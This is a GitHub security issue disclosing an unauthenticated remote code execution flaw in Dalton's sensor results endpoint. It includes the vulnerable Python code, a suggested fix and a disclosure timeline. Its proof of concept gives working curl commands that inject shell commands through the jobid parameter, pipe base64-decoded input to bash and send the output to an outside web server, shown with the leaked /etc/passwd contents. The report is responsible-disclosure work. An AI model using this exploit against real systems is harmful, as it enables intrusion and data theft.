Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Unauthenticated Remote Code Execution #245

@greatmoezes

Description

@greatmoezes

Security Vulnerability Report - Unauthenticated RCE

Vulnerability Summary

Severity: Critical (CVSS 9.8)
Type: Unauthenticated Remote Code Execution
Affected Versions: All versions up to and including 3.2.5
Authentication Required: No

Description

A critical security vulnerability has been discovered in Dalton that allows unauthenticated remote code execution on the dalton_controller. The vulnerability exists in the /dalton/sensor_api/results/<jobid> endpoint where the jobid parameter is not properly sanitized before being used in shell command execution.

Technical Details

File: app/dalton.py
Function: post_job_results()
Lines: 890-895
Endpoint: /dalton/sensor_api/results/<jobid>

Root Cause

  1. Missing Authentication: The @auth_required('write') decorator is commented out
  2. Unsanitized Input: The jobid parameter is used directly in string formatting
  3. Dangerous Shell Usage: subprocess.Popen() is called with shell=True

Vulnerable Code

@dalton_blueprint.route("/dalton/sensor_api/results/<jobid>", methods=["POST"])
# @auth_required('write')  # Authentication disabled!
def post_job_results(jobid):
    u2_file = os.path.join(
        TEMP_STORAGE_PATH, "%s_unified2_%s" % (jobid, SENSOR_HASH)
    )
    u2spewfoo_command = "%s %s" % (U2_ANALYZER, u2_file)
    alert_detailed = subprocess.Popen(
        u2spewfoo_command,
        shell=True,  # Dangerous with unsanitized input
        stderr=subprocess.STDOUT,
        stdout=subprocess.PIPE,
    ).stdout.read()

Impact

An unauthenticated attacker can:

  • Execute arbitrary commands on the dalton_controller system
  • Gain full control of the container/host running Dalton
  • Access sensitive data including PCAP files and configuration files
  • Perform lateral movement to other systems
  • Install persistent backdoors or malware

Proof of Concept

Basic command injection example:

  • Base64 encode the command to execute
# 'cat /etc/passwd' is the command to be executed on the target system
echo "cat /etc/passwd" | base64 -w 0
  • Send vulnerable request
# Note that "alert_detailed":"SGFsbG8gV2VsdCE=" is just a sample. Every base64 string will be accepted
# Basic command injection
# <jobid> = <ARBITRARY NUMBEr>||<COMMAND>;#
curl -X POST "http://target/dalton/sensor_api/results/1||<COMMAND>%3b%23" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "json_data={\"status\":\"true\",\"alert_detailed\":\"SGFsbG8gV2VsdCE=\"}"

# For example executing 'cat /etc/passwd'
# Spaces are replaced with ${IFS}
# -> URL decoded POST request: /dalton/sensor_api/results/30||curl <WEBSERVER ADDRESS> --data "echo <BASE64 ENCODED COMMAND FROM ABOVE>" | base64 -d | bash" ;#
curl -X POST 'http://target/dalton/sensor_api/results/30||curl${IFS}<WEBSERVER ADDRESS>{IFS}%2d%2ddata${IFS}\"$(echo${IFS}Y2F0IC9ldGMvcGFzc3dk|base64${IFS}-d|bash)\"${IFS}%3b%23' \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "json_data={\"status\":\"true\",\"alert_detailed\":\"SGFsbG8gV2VsdCE=\"}"
  • Get the command output in the request body
POST / HTTP/1.1
Host: <WEBSERVER ADDRESS>
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 838
Content-Type: application/x-www-form-urlencoded

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

Recommended Fix

  1. Enable Authentication: Uncomment the @auth_required('write') decorator
  2. Input Validation: Implement strict validation for the jobid parameter
  3. Avoid Shell Execution: Use subprocess.Popen() without shell=True

Suggested Code Fix

import re

@dalton_blueprint.route("/dalton/sensor_api/results/<jobid>", methods=["POST"])
@auth_required('write')  # Re-enable authentication
def post_job_results(jobid):
    # Validate jobid format
    if not re.match(r'^[a-zA-Z0-9_-]+$', jobid):
        return Response("Invalid jobid format", status=400)
    
    # Use subprocess without shell=True
    u2spewfoo_command = [U2_ANALYZER, u2_file]
    alert_detailed = subprocess.Popen(
        u2spewfoo_command,  # List instead of string
        stderr=subprocess.STDOUT,
        stdout=subprocess.PIPE,
    ).stdout.read()

Disclosure Timeline

  • Discovery Date: 15.09.2025
  • Report Date: 17.09.2025
  • Proposed Disclosure Date: 90 days from report date
  • CVE Request: Submitted to MITRE

Additional Information

  • This vulnerability affects the core functionality of Dalton
  • I am willing to assist with testing any proposed fixes
  • I request that this vulnerability be assigned a CVE ID

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions